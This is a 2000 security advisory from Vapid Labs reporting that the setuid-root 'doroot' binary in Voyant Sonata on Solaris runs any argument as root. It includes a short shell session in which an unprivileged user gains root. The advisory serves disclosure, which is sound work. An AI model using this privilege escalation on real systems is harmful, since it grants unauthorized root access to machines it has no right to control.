Vulnerability Report #2 For Voyant Technologies Sonata

                                Conferencing product.



                                 Larry W. Cashdollar

                                     Vapid Labs









Date Published: 12/18/2000



Advisory ID: 12182000-02



CVE CAN: None currently assigned.



Title: Sonata doroot command vulnerability.



Class:  Design Error



Remotely Exploitable:  no



Locally Exploitable:  Yes



Vulnerability Description:





The setuid binary doroot does exactly what it says.  It executes its

command line argument as root.  This is really silly and I dont know why it would need to exist.



Vulnerable Packages/Systems: Sonata v3.x on Solaris 2.x.



Vendor notified on: 11/30/2000



Solution/Vendor Information/Workaround:



The vendor has told us in so many words that the security of the conferencing system is up to the customer.

This will make it pretty difficult to make modifications to our system since it is production and we can't have any downtime.

I would contact Voyant anyhow for a solution.  I can not test the affects of removing the setuid bit on our systems until later this week.



Credits:



Larry W. Cashdollar

http://vapid.betteros.org



Technical Description - Exploit/Concept Code:





$ cd /opt/TK/tk4.1/library/demos

$ id

uid=60001(nobody) gid=60001(nobody)

$ ./doroot id

uid=60001(nobody) gid=60001(nobody) euid=0(root)

$ ls -l doroot

-rwsr-xr-x   1 root     other       6224 Mar 12  1999 doroot



References:



        Sonata product page.

        http://www.voyanttech.com/displaypage.cfm?pid=27&toppid=22



        Vapid Labs.

        http://vapid.betteros.org

        Email: Larry W. Cashdollar 



DISCLAIMER:



The contents of this advisory are copyright (c) 2000 Larry W. Cashdollar and

may be distributed freely provided that no fee is charged for this

distribution and proper credit is given.





Ver 2.4 11/30/2000